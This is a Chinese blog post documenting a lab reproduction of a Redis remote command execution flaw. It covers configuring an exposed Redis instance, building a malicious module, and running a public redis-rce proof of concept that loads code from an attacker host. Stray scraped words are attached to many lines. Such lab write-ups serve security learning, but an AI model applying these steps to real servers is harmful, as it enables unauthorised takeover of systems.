Redis遠程命令執行漏洞復現

本文首發於個人我的博客,記錄了我在實驗室學習滲透測試所作的第二個漏洞復現,所有過程記錄在此,以便後續查看,同時也但願本文能對您有所幫助。python

同時,若文章有什麼錯誤,請到個人我的博客進行覈對,或者請在評論區告知,謝謝!git

前言

Redis簡介

Redis是一個高性能的key-value存儲系統,支持多種value類型,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客戶端。github

實驗環境

  • 攻擊機:Kali 192.168.227.128
  • 靶機:Kali 192.168.227.129
  • 影響範圍:Redis4.x、5.x

靶機安裝Redis包

  1. 下載Redis包:redis

    wget download.redis.io/releases/redis-4.0.11.tar.gz

  2. 解壓安裝包shell

    tar xzvf redis-4.0.11.tar.gz

    當前目錄下會出現一個名爲``redis-4.0.11`的文件夾。bootstrap

  3. make安裝curl

    進入文件夾,在usr/local/redis目錄下安裝redis:性能

    make PREFIX=/usr/local/redis install

    以後命令行刷屏,等待一會後,出現以下提示,安裝結束:
    學習

  4. 檢查安裝是否有問題測試

    安裝命令行提示,輸入:

    make test

    等待一下子,若出現如下提示,說明測試經過,安裝已完成:

  5. 拷貝源碼中的redis.conf到/usr/local/redis中

    cp /redis-4.0.11/redis.conf /usr/local/redis
  6. 修改redis.conf

    進入/usr/local/redis目錄,打開redis.conf,作出如下修改:

    • 找到未註釋的bind 127.0.0.1,並註釋掉
    • 修改protected-mode屬性爲no(可經過IP訪問)
    • 修改daemonize屬性爲yes(標識redis之後臺方式啓動)
  7. 服務端啓動服務

    進入/usr/local/redis/bin目錄下,執行以下命令:

    ./redis-server /usr/local/redis/redis.conf

    結果以下:

  8. 啓動客戶端鏈接並測試

    一樣在bin目錄下,執行以下命令:

    ./redis-cli

    結果以下:

攻擊

攻擊機中須要下載RedisModules-ExecuteCommandpoc

  1. 下載RedisModules-ExecuteCommand

    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

    而後進入RedisModules-ExcuteCommand目錄,直接make編譯:

    make
  2. 下載poc

    git clone https://github.com/Ridter/redis-rce.git
  3. 複製

    將RedisMoudules-ExecuteCommand/src下的modules.so文件複製到poc目錄(redis-rce)下。

  4. 安裝須要的庫

    我在運行redis.rce.py時,提示我缺乏six這個庫,須要pip安裝。首先安裝pip:

    curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

    安裝完成後,當前目錄下會出現一個get-pip.py文件,運行後就可使用pip了:

    python get-pip.py

    而後就能夠安裝須要的庫:

    pip install six
  5. 運行poc

    在redis-rce目錄下,命令行鍵入:

    Python redis-rce.py -r 目標機ip -L 攻擊機ip -f module.so

    結果以下:

相關文章
相關標籤/搜索